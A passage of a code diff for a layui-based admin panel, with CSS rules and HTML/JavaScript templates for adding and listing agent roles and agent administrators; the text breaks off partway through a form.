.layadmin-homepage-content .new-section-xs{margin: 12px 0;color: inherit;border: 0!important;height: 0px;box-sizing: content-box;}
|
||||
.layadmin-homepage-content .h4{font-size: 16px;font-weight: 600;color: #2b425b;}
|
||||
.layadmin-homepage-content small{color: #afb9c3}
|
||||
.layadmin-homepage-text-center .layui-icon{color:#FFB800;padding-right:5px;}
|
||||
.layadmin-homepage-padding15 .layui-col-sm5 a{font-size: 11px;height: auto;line-height: 1.5;padding:5px 10px;float: right;}
|
||||
.layadmin-homepage-padding15 .layui-btn-normal{margin:0 15px;}
|
||||
.layadmin-homepage-list-imgtxt .layui-col-sm10,.layadmin-homepage-list-imgtxt .layui-col-sm2{background: none}
|
||||
.layadmin-homepage-list-imgtxt .panel-body{padding: 15px 20px 25px;overflow: hidden;margin-bottom: 15px;}
|
||||
.layadmin-homepage-list-imgtxt .panel-body .media-left{display: block;float: left;vertical-align: top;padding-right: 10px;}
|
||||
.layadmin-homepage-list-imgtxt .panel-body .media-left img{border-radius: 50%;}
|
||||
.layadmin-homepage-list-imgtxt .media-body{width: auto;display: block;overflow: hidden;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .pad-btm{padding-bottom: 15px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .pad-btm p:first-child{padding-bottom: 5px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .min-font{margin-bottom: 10px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .min-font .layui-breadcrumb a{font-size: 11px;}
|
||||
.layui-breadcrumb span[lay-separator]{margin:0 5px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .pad-btm .fontColor a{font-weight: 600;color: #337ab7;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .pad-btm .fontColor span{color: #758697;font-weight: 600;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .h-img{display: block;max-width: 100%;height: auto;margin-top: 10px;}
|
||||
.layadmin-homepage-list-imgtxt .img-xs{width: 32px;height: 32px;border-radius: 50%;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media{margin-top: 15px;overflow: hidden;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media .media-right{float: right;padding-top: 10px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media .media-right .list-inline{margin-bottom: 10px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media .list-inline li{padding:0 5px;display: inline-block;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media .media-right .list-inline li span{font-weight: 600;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media .media-left{display: block;overflow: hidden;width: auto;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media .media-left .font-blod{font-weight: 700;color: #758697;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list{padding-top: 15px;margin-top: 15px;border-top: 1px solid #e9e9e9;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .media-item{padding-bottom: 15px;margin-top: 15px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .media-item-left{display:inline-block;padding-right: 10px;margin-bottom: 5px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .media-item-left img{display: block;float: left;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .media-text{overflow: hidden;width: auto;display: inline-block;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .media-text a{margin-right: 10px;font-weight: 600;display: inline-block;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .media-text div:nth-child(2){margin-top: 5px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .layui-btn{height: 24px;line-height: 24px;font-size: 12px;padding:0 20px;margin-bottom: 10px;}
|
||||
.layadmin-homepage-list-imgtxt .media-body .media-list .layui-btn{height: 24px;line-height: 24px;font-size: 12px;padding:0 20px;margin-bottom: 10px;}
|
||||
|
||||
/* 个人内容区域 */
|
||||
|
||||
.homepage-top .layui-card-body img{width: 100%}
|
||||
.homepage-top .layui-card-body .margin-top10{margin-top: 10px;}
|
||||
.homepage-top .layui-card-body .layui-btn{width: 100%;display: block;}
|
||||
.homepage-top{padding-bottom: 20px;}
|
||||
.layadmin-privateletterlist-item{position: relative;display: block;padding: 10px 15px;}
|
||||
.homepage-bottom .layui-card-body{padding:0;}
|
||||
.homepage-bottom .layui-card-body img{width: 32px;height: 32px;border-radius: 50%;margin-top: 10px;}
|
||||
.homepage-bottom .layui-card-body .meida-left{display: table-cell;padding-right: 10px;}
|
||||
.homepage-bottom .layui-card-body .meida-right{display: table-cell;vertical-align: top;}
|
||||
.homepage-bottom .layui-card-body a:hover{background: #F2F2F2;}
|
||||
.homepage-bottom .layui-card-body{background: #fff;}
|
||||
.layui-card-header .panel-title .layui-icon{position: relative;left: 0;right: 0px;}
|
||||
|
||||
/* 右侧信息栏 */
|
||||
.layadmin-cmdlist-fluid{padding-bottom: 60px;}
|
||||
.cmdlist-container{background: #fff;border:1px solid transparent;}
|
||||
.cmdlist-container:hover{border:1px solid #e8e8e8;}
|
||||
.cmdlist-container img{width: 100%;}
|
||||
.cmdlist-text{padding:20px;}
|
||||
.cmdlist-text .info{height: 40px;font-size: 14px;line-height: 20px;width: 100%;overflow: hidden;color: #666;margin-bottom:10px;}
|
||||
.cmdlist-text .price{font-size: 14px;}
|
||||
.cmdlist-text .price b{margin-right: 20px;}
|
||||
.cmdlist-text .price p{display: inline-block;}
|
||||
.cmdlist-text .flow{text-align: right;float: right;}
|
||||
#demo0{text-align: center;}
|
||||
|
||||
/* 商品列表 */
|
||||
.layadmin-message-fluid .layui-col-md12{background: #fff;height: auto;padding-bottom: 50px;}
|
||||
.layadmin-message-fluid .layui-input-block{margin-left: 0;}
|
||||
.layadmin-message-fluid .layui-form{padding:45px 40px 0 40px;}
|
||||
.layadmin-message-fluid .layui-form-label{text-align: left;font-size: 18px;padding-left: 10px;}
|
||||
.layadmin-message-fluid .layui-textarea{min-height: 100px;font-size: 16px;}
|
||||
.layadmin-message-fluid .layui-input-right{float: right;}
|
||||
.layadmin-messag-icon{overflow: hidden;float: left;}
|
||||
.layadmin-messag-icon .layui-icon{font-size: 24px;line-height: 30px;margin-right: 15px;color: #C4CBCF;}
|
||||
.layadmin-messag-icon{margin-top: 4px;}
|
||||
.message-content{padding:0 40px;}
|
||||
.message-content .media-body{margin-bottom: 60px;}
|
||||
.message-content .media-body .pad-btm{padding-bottom: 0;}
|
||||
.message-content .media-left{float: left;margin-right: 10px;}
|
||||
.message-content .media-left img{border-radius: 50%;}
|
||||
.message-text{padding-top: 10px;}
|
||||
.message-content-btn{text-align: center;}
|
||||
.message-content .layui-btn{height: auto;line-height: 26px; padding: 5px 30px; font-size: 16px;}
|
||||
|
||||
/* 搜索结果页面 */
|
||||
.layadmin-serach-main .layui-card-header{height: auto; line-height: 24px; padding: 15px;}
|
||||
.layadmin-serach-list{margin-bottom: 10px; padding: 10px 0; border-bottom: 1px solid #f6f6f6;}
|
||||
.layadmin-serach-list h3{padding: 10px 0;}
|
||||
.layadmin-serach-list h3 .layui-badge{top: -2px;}
|
||||
.layadmin-serach-list p{color: #666;}
|
||||
.layadmin-serach-list li{margin-bottom: 20px; padding-bottom: 20px; clear: both;}
|
||||
.layui-serachlist-cover{float: left; margin-right: 15px;}
|
||||
.layui-serachlist-cover img{width: 90px; height: 90px;}
|
||||
|
||||
|
||||
/* 用户列表开始 */
|
||||
.layadmin-caller{background: #fff;padding: 30px;}
|
||||
.layadmin-caller em{font-style: normal;}
|
||||
.layadmin-caller .caller-fl{float: left;}
|
||||
.layadmin-caller .caller-fr{float: right;}
|
||||
.layadmin-caller .caller-seach{position: relative;padding-bottom:40px;}
|
||||
.layadmin-caller .caller-seach .caller-icon{font-size: 18px;position: absolute;top: 9px;}
|
||||
.layadmin-caller .caller-seach-icon{left: 6px;}
|
||||
.layadmin-caller .caller-dump-icon{right: 6px;cursor: pointer;}
|
||||
.layadmin-caller .caller-pl32{padding:0 32px;}
|
||||
.layadmin-caller .caller-tab{margin:0;}
|
||||
.layadmin-caller .caller-contar{padding-bottom:20px;}
|
||||
.layadmin-caller .caller-contar .caller-item{padding:25px 0;overflow: hidden;border-bottom: 1px solid #e0e0e0;}
|
||||
.layadmin-caller .caller-contar .caller-item .caller-main{margin-left: 20px;}
|
||||
.layadmin-caller .caller-contar .caller-item .caller-main p{line-height: 100%;padding:8px 0;}
|
||||
.layadmin-caller .caller-contar .caller-item .caller-main p:first-child{padding-top:0;}
|
||||
.layadmin-caller .caller-contar .caller-item .caller-main em{margin-left: 5px;}
|
||||
.layadmin-caller .caller-contar .caller-item .caller-main .caller-adds i{padding-right: 5px;margin:0;}
|
||||
.layadmin-caller .caller-contar .caller-item .caller-main .caller-adds{padding-bottom:12px;}
|
||||
.layadmin-caller .caller-contar .caller-iconset i{margin:0 5px;}
|
||||
.layadmin-caller .caller-contar .caller-iconset i:first-child{margin-left: 0;}
|
||||
.layadmin-caller .caller-contar button{margin-top: 22px;}
|
||||
.layadmin-caller .caller-contar .caller-img{width: 40px;height: 40px;border-radius: 100%;}
|
||||
|
||||
/****** 模板结束 By xuzhiwen ******/
|
||||
@@ -0,0 +1,38 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-admin" style="padding: 20px 30px 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">角色名称</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="name" value="" lay-verify="required" placeholder="请输入角色名称" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">是否为超级管理员</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<select name="is_super">
|
||||
<option value="0" onselect="selected" >否</option>
|
||||
<option value="1" >是</option>
|
||||
</select>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-back-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form;
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,138 @@
|
||||
|
||||
|
||||
<title>后台管理员</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>用户</cite></a>
|
||||
<a><cite>后台管理员</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-admin" data-type="batchdel">删除</button>-->
|
||||
<button class="layui-btn layuiadmin-btn-admin" data-type="add">添加代理商角色</button>
|
||||
</div>
|
||||
|
||||
<table id="LAY-user-back-agentrole" lay-filter="LAY-user-back-agentrole"></table>
|
||||
<!--<script type="text/html" id="table-useradmin-webuser">-->
|
||||
<!--<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-edit-role"></i>修改权限</a>-->
|
||||
<!--<!–<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="addsonagent"><i class="layui-icon layui-icon-add-1"></i>添加其下级代理</a>–>-->
|
||||
<!--<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="getsons"><i class="layui-icon layui-icon-edit"></i>修改</a>-->
|
||||
<!--<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="this-sons"><i class="layui-icon layui-icon-delete"></i>删除</a>-->
|
||||
<!--</script>-->
|
||||
<script type="text/html" id="buttonTpl">
|
||||
{{# if(d.check == true){ }}
|
||||
<button class="layui-btn layui-btn-xs">已审核</button>
|
||||
{{# } else { }}
|
||||
<button class="layui-btn layui-btn-primary layui-btn-xs">未审核</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="table-useradmin-admin">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-edit"></i>编辑</a>
|
||||
{{# if(d.role == '超级管理员'){ }}
|
||||
<a class="layui-btn layui-btn-disabled layui-btn-xs"><i class="layui-icon layui-icon-delete"></i>删除</a>
|
||||
{{# } else { }}
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del"><i class="layui-icon layui-icon-delete"></i>删除</a>
|
||||
{{# } }}
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'useradmin', 'table'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
form.render(null, 'layadmin-useradmin-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-back-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-back-agentrole', {
|
||||
where: field
|
||||
});
|
||||
});
|
||||
|
||||
//事件
|
||||
var active = {
|
||||
batchdel: function(){
|
||||
var checkStatus = table.checkStatus('LAY-user-back-agentrole')
|
||||
,checkData = checkStatus.data; //得到选中的数据
|
||||
|
||||
if(checkData.length === 0){
|
||||
return layer.msg('请选择数据');
|
||||
}
|
||||
|
||||
layer.prompt({
|
||||
formType: 1
|
||||
,title: '敏感操作,请验证口令'
|
||||
}, function(value, index){
|
||||
layer.close(index);
|
||||
|
||||
layer.confirm('确定删除吗?', function(index) {
|
||||
|
||||
//执行 Ajax 后重载
|
||||
/*
|
||||
admin.req({
|
||||
url: 'xxx'
|
||||
//,……
|
||||
});
|
||||
*/
|
||||
table.reload('LAY-user-back-agentrole');
|
||||
layer.msg('已删除');
|
||||
});
|
||||
});
|
||||
}
|
||||
,add: function(){
|
||||
admin.popup({
|
||||
title: '添加代理商角色'
|
||||
,area: ['420px', '450px']
|
||||
,id: 'LAY-popup-useradmin-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('authority/adminform').done(function(){
|
||||
form.render(null, 'layuiadmin-form-admin');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-back-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : 'agent/manager/role_add',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-agentrole'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
layui.table.reload('LAY-user-back-agentrole'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
$('.layui-btn.layuiadmin-btn-admin').on('click', function(){
|
||||
var type = $(this).data('type');
|
||||
active[type] ? active[type].call(this) : '';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,140 @@
|
||||
|
||||
|
||||
<title>角色管理</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>用户</cite></a>
|
||||
<a><cite>代理商角色管理</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-useradminrole-formlist">
|
||||
<div class="layui-form-item">
|
||||
<!--<div class="layui-inline">-->
|
||||
<!--角色筛选-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-inline">-->
|
||||
<!--<select name="rolename" lay-filter="LAY-user-adminrole-type">-->
|
||||
<!--<option value="-1">全部角色</option>-->
|
||||
<!--<option value="0">管理员</option>-->
|
||||
<!--<option value="1">超级管理员</option>-->
|
||||
<!--<option value="2">纠错员</option>-->
|
||||
<!--<option value="3">采购员</option>-->
|
||||
<!--<option value="4">推销员</option>-->
|
||||
<!--<option value="5">运营人员</option>-->
|
||||
<!--<option value="6">编辑</option>-->
|
||||
<!--</select>-->
|
||||
<!--</div>-->
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-role" data-type="batchdel">删除</button>-->
|
||||
<button class="layui-btn layuiadmin-btn-role" data-type="add">添加</button>
|
||||
</div>
|
||||
|
||||
<table id="LAY-user-back-role" lay-filter="LAY-user-back-role"></table>
|
||||
<script type="text/html" id="buttonTpl">
|
||||
{{# if(d.check == true){ }}
|
||||
<button class="layui-btn layui-btn-xs">已审核</button>
|
||||
{{# } else { }}
|
||||
<button class="layui-btn layui-btn-primary layui-btn-xs">未审核</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="table-useradmin-admin">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-edit"></i>编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del"><i class="layui-icon layui-icon-delete"></i>删除</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'useradmin', 'table'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
form.render(null, 'layadmin-useradminrole-formlist');
|
||||
|
||||
//搜索角色
|
||||
form.on('select(LAY-user-adminrole-type)', function(data){
|
||||
//执行重载
|
||||
table.reload('LAY-user-back-role', {
|
||||
where: {
|
||||
role: data.value
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//事件
|
||||
var active = {
|
||||
batchdel: function(){
|
||||
var checkStatus = table.checkStatus('LAY-user-back-role')
|
||||
,checkData = checkStatus.data; //得到选中的数据
|
||||
|
||||
if(checkData.length === 0){
|
||||
return layer.msg('请选择数据');
|
||||
}
|
||||
|
||||
layer.confirm('确定删除吗?', function(index) {
|
||||
//执行 Ajax 后重载
|
||||
|
||||
/*
|
||||
admin.req({
|
||||
url: 'xxx'
|
||||
//,……
|
||||
});
|
||||
*/
|
||||
table.reload('LAY-user-back-role');
|
||||
layer.msg('已删除');
|
||||
});
|
||||
},
|
||||
add: function(){
|
||||
admin.popup({
|
||||
title: '添加新角色'
|
||||
,area: ['500px', '480px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('authority/roleform1').done(function(){
|
||||
form.render(null, 'layuiadmin-form-role');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-role-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : 'agent/manager/role_add',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-role'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
layui.table.reload('LAY-user-back-role'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
$('.layui-btn.layuiadmin-btn-role').on('click', function(){
|
||||
var type = $(this).data('type');
|
||||
active[type] ? active[type].call(this) : '';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,163 @@
|
||||
|
||||
|
||||
<title>角色管理</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>用户</cite></a>
|
||||
<a><cite>代理商管理员管理</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-useradminrole-formlist">
|
||||
<div class="layui-form-item">
|
||||
<!--<div class="layui-inline">-->
|
||||
<!--角色筛选-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-inline">-->
|
||||
<!--<select name="rolename" lay-filter="LAY-user-adminrole-type">-->
|
||||
<!--<option value="-1">全部角色</option>-->
|
||||
<!--<option value="0">管理员</option>-->
|
||||
<!--<option value="1">超级管理员</option>-->
|
||||
<!--<option value="2">纠错员</option>-->
|
||||
<!--<option value="3">采购员</option>-->
|
||||
<!--<option value="4">推销员</option>-->
|
||||
<!--<option value="5">运营人员</option>-->
|
||||
<!--<option value="6">编辑</option>-->
|
||||
<!--</select>-->
|
||||
<!--</div>-->
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<div style="padding-bottom: 10px;">
|
||||
<!--<button class="layui-btn layuiadmin-btn-role" data-type="batchdel">删除</button>-->
|
||||
<button class="layui-btn layuiadmin-btn-role" data-type="add">添加代理商管理员</button>
|
||||
</div>
|
||||
|
||||
<table id="LAY-user-back-role_GLY" lay-filter="LAY-user-back-role_GLY"></table>
|
||||
<script type="text/html" id="buttonTpl">
|
||||
{{# if(d.check == true){ }}
|
||||
<button class="layui-btn layui-btn-xs">已审核</button>
|
||||
{{# } else { }}
|
||||
<button class="layui-btn layui-btn-primary layui-btn-xs">未审核</button>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="table-useradmin-admin">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="edit"><i class="layui-icon layui-icon-edit"></i>编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del"><i class="layui-icon layui-icon-delete"></i>删除</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'useradmin', 'table'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
form.render(null, 'layadmin-useradminrole-formlist');
|
||||
|
||||
//搜索角色
|
||||
form.on('select(LAY-user-adminrole-type)', function(data){
|
||||
//执行重载
|
||||
table.reload('LAY-user-back-role_GLY', {
|
||||
where: {
|
||||
role: data.value
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
//事件
|
||||
var active = {
|
||||
batchdel: function(){
|
||||
var checkStatus = table.checkStatus('LAY-user-back-role_GLY')
|
||||
,checkData = checkStatus.data; //得到选中的数据
|
||||
|
||||
if(checkData.length === 0){
|
||||
return layer.msg('请选择数据');
|
||||
}
|
||||
|
||||
layer.confirm('确定删除吗?', function(index) {
|
||||
|
||||
//执行 Ajax 后重载
|
||||
/*
|
||||
admin.req({
|
||||
url: 'xxx'
|
||||
//,……
|
||||
});
|
||||
*/
|
||||
table.reload('LAY-user-back-role_GLY');
|
||||
layer.msg('已删除');
|
||||
});
|
||||
},
|
||||
add: function(){
|
||||
|
||||
admin.popup({
|
||||
title: '添加代理商管理员'
|
||||
,area: ['500px', '480px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layero, index){
|
||||
var that = this;
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : 'agent/agentadmin_add_show',
|
||||
dataType : "json",
|
||||
data : {},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
// console.log(result);
|
||||
var data = result.data;
|
||||
view(that.id).render('authority/roleform2',data).done(function(res){
|
||||
|
||||
|
||||
|
||||
form.render(null, 'layuiadmin-form-role');
|
||||
console.log(data);//add tian
|
||||
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-role-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
console.log(data);//add tian
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : 'agent/agentadmin_add',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
$('.layui-btn.layuiadmin-btn-role').on('click', function(){
|
||||
var type = $(this).data('type');
|
||||
active[type] ? active[type].call(this) : '';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,37 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-role" style="padding: 20px 30px 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">角色名称</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="name" value="" lay-verify="required" placeholder="请输入角色名称" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">是否为超级管理员</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<select name="is_super">
|
||||
<option value="0" onselect="selected" >否</option>
|
||||
<option value="1" >是</option>
|
||||
</select>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-role-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form;
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,42 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-role" style="padding: 20px 30px 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">角色名称</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="name" value="{{ d.params.name || '' }}" lay-verify="required" placeholder="请输入角色名称" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="id" value="{{ d.params.id}}" lay-verify="required" style="display: none;" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">是否为超级管理员</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<select name="is_super">
|
||||
|
||||
<option value="0" {{# if(d.params.is_super == 0){ }} selected {{# } }} >否</option>
|
||||
<option value="1" {{# if(d.params.is_super == 1){ }} selected {{# } }} >是</option>
|
||||
</select>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-role-submit_edit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form;
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,47 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-role" style="padding: 20px 30px 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="username" value="" lay-verify="required" placeholder="请输入管理员用户名" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">密码</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="password" value="" lay-verify="required" placeholder="请输入密码" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">角色</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<select name="role_id">
|
||||
{{# layui.each(d.params, function(index, item){ }}
|
||||
<option value="{{item.id}}" onselect="selected" >{{item.name}}</option>
|
||||
{{# }); }}
|
||||
</select>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
